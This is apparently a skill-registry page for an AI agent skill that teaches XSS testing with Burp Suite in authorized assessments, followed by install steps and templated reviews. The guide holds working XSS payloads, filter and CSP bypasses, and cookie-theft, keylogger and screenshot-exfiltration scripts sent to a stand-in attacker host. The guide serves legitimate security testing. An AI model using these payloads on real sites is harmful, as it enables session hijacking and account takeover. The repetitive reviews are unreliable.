testing-for-xss-vulnerabilities-with-burpsuite▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
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Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.
| name | testing-for-xss-vulnerabilities-with-burpsuite |
| description | Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - xss - burpsuite - owasp - web-security - cross-site-scripting |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing for XSS Vulnerabilities with Burp Suite
When to Use
- During authorized web application penetration testing to find reflected, stored, and DOM-based XSS
- When validating XSS findings reported by automated vulnerability scanners
- For testing the effectiveness of Content Security Policy (CSP) and XSS filters
- When assessing client-side security of single-page applications (SPAs)
- During bug bounty programs targeting XSS vulnerabilities
Prerequisites
- Authorization: Written scope and rules of engagement for the target application
- Burp Suite Professional: Licensed version with active scanner capabilities
- Browser: Firefox or Chromium with Burp CA certificate installed
- FoxyProxy: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080)
- Target application: Authenticated access with valid test credentials
- XSS payloads list: Custom wordlist or Burp's built-in XSS payload set
Workflow
Step 1: Configure Burp Suite and Map the Application
Set up the proxy and crawl the application to discover all input vectors.
# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings
# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
Step 2: Identify Reflection Points with Burp Repeater
Send requests to Repeater and inject unique canary strings to find where user input is reflected.
# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.
# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">
# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
Step 3: Test Reflected XSS with Context-Specific Payloads
Based on the reflection context, craft targeted XSS payloads.
# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com
# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com
# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com
# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com
# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com
# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
Step 4: Test Stored XSS via Burp Intruder
Use Burp Intruder to test stored XSS across input fields like comments, profiles, and messages.
# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list
# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//
# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
Step 5: Test DOM-based XSS
Identify client-side JavaScript that processes user input unsafely using Burp's DOM Invader.
# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")
# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()
# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data
# Test URL fragment-based DOM XSS:
https://target.example.com/page#<img src=x onerror=alert(1)>
# Test via document.referrer:
# Create a page that links to the target with XSS in the referrer
Step 6: Bypass XSS Filters and CSP
When basic payloads are blocked, use advanced techniques to bypass protections.
# CSP Analysis - Check response headers:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
# Common CSP bypasses:
# If 'unsafe-inline' is allowed:
<script>alert(document.domain)</script>
# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Filter bypass techniques:
# Case variation: <ScRiPt>alert(1)</ScRiPt>
# Null bytes: <scr%00ipt>alert(1)</script>
# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E
# HTML entities: <img src=x onerror=alert(1)>
# Unicode escapes: <script>\u0061lert(1)</script>
# Use Burp Suite > BApp Store > Install "Hackvertor"
# Encode payloads with Hackvertor tags:
# <@hex_entities>alert(document.domain)<@/hex_entities>
Step 7: Validate Impact and Document Findings
Confirm exploitability and document the full attack chain.
# Proof of Concept payload that demonstrates real impact:
# Cookie theft:
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# Session hijacking via XSS:
<script>
new Image().src='https://attacker-server.example.com/log?cookie='+document.cookie;
</script>
# Keylogger payload (demonstrates impact severity):
<script>
document.onkeypress=function(e){
fetch('https://attacker-server.example.com/keys?k='+e.key);
}
</script>
# Screenshot capture using html2canvas (stored XSS impact):
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas){
fetch('https://attacker-server.example.com/screen',{
method:'POST',body:canvas.toDataURL()
});
});
</script>
# Document each finding with:
# - URL and parameter
# - Payload used
# - Screenshot of alert/execution
# - Impact assessment
# - Reproduction steps
Key Concepts
| Concept | Description |
|---|---|
| Reflected XSS | Payload is included in the server response immediately from the current HTTP request |
| Stored XSS | Payload is persisted on the server (database, file) and served to other users |
| DOM-based XSS | Payload is processed entirely client-side by JavaScript without server reflection |
| XSS Sink | A JavaScript function or DOM property that executes or renders untrusted input |
| XSS Source | A location where attacker-controlled data enters the client-side application |
| CSP | Content Security Policy header that restricts which scripts can execute on a page |
| Context-aware encoding | Applying the correct encoding (HTML, JS, URL, CSS) based on output context |
| Mutation XSS (mXSS) | XSS that exploits browser HTML parser inconsistencies during DOM serialization |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Primary testing platform with scanner, intruder, repeater, and DOM Invader |
| DOM Invader | Burp's built-in browser extension for DOM XSS testing |
| Hackvertor | Burp BApp for advanced payload encoding and transformation |
| XSS Hunter | Blind XSS detection platform that captures execution evidence |
| Dalfox | CLI-based XSS scanner with parameter analysis (go install github.com/hahwul/dalfox/v2@latest) |
| CSP Evaluator | Google tool for analyzing Content Security Policy effectiveness |
Common Scenarios
Scenario 1: Search Function Reflected XSS
A search page reflects the query parameter in the results heading without encoding. Inject <script>alert(document.domain)</script> in the search parameter and demonstrate cookie theft via reflected XSS.
Scenario 2: Comment System Stored XSS
A blog comment form sanitizes <script> tags but allows <img> tags. Use <img src=x onerror=alert(document.domain)> to achieve stored XSS that fires for every visitor loading the page.
Scenario 3: SPA with DOM-based XSS
A React/Angular SPA reads window.location.hash and injects it into the DOM via innerHTML. Use DOM Invader to trace the source-to-sink flow and craft a payload in the URL fragment.
Scenario 4: XSS Behind WAF with Strict CSP
A WAF blocks common XSS patterns and CSP restricts inline scripts. Discover a JSONP endpoint on a whitelisted domain and use it as a script gadget to bypass CSP.
Output Format
## XSS Vulnerability Finding
**Vulnerability**: Stored Cross-Site Scripting (XSS)
**Severity**: High (CVSS 8.1)
**Location**: POST /api/comments → `body` parameter
**Type**: Stored XSS
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Navigate to https://target.example.com/blog/post/123
2. Submit a comment with body: <img src=x onerror=alert(document.domain)>
3. Reload the page; the payload executes in the browser
### Impact
- Session hijacking via cookie theft for all users viewing the page
- Account takeover through session token exfiltration
- Defacement of the blog post page
- Phishing via injected login forms
### CSP Status
- No Content-Security-Policy header present
- X-XSS-Protection header not set
### Recommendation
1. Implement context-aware output encoding (HTML entity encoding for HTML context)
2. Deploy Content Security Policy with strict nonce-based script allowlisting
3. Use DOMPurify library for sanitizing user-generated HTML content
4. Set HttpOnly and Secure flags on session cookies
5. Add X-Content-Type-Options: nosniff header
How to use testing-for-xss-vulnerabilities-with-burpsuite on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-for-xss-vulnerabilities-with-burpsuite
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-for-xss-vulnerabilities-with-burpsuite from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-for-xss-vulnerabilities-with-burpsuite. Access the skill through slash commands (e.g., /testing-for-xss-vulnerabilities-with-burpsuite) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.7★★★★★65 reviews- ★★★★★Yuki Taylor· Dec 24, 2024
Keeps context tight: testing-for-xss-vulnerabilities-with-burpsuite is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Kofi Bansal· Dec 16, 2024
testing-for-xss-vulnerabilities-with-burpsuite is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Shikha Mishra· Dec 4, 2024
Useful defaults in testing-for-xss-vulnerabilities-with-burpsuite — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Layla Kim· Nov 27, 2024
Registry listing for testing-for-xss-vulnerabilities-with-burpsuite matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Yash Thakker· Nov 23, 2024
testing-for-xss-vulnerabilities-with-burpsuite has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Kofi Verma· Nov 23, 2024
testing-for-xss-vulnerabilities-with-burpsuite reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Sophia Mensah· Nov 15, 2024
We added testing-for-xss-vulnerabilities-with-burpsuite from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Tariq Mensah· Nov 7, 2024
testing-for-xss-vulnerabilities-with-burpsuite fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Meera Ghosh· Oct 26, 2024
We added testing-for-xss-vulnerabilities-with-burpsuite from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Amelia Shah· Oct 18, 2024
testing-for-xss-vulnerabilities-with-burpsuite reduced setup friction for our internal harness; good balance of opinion and flexibility.
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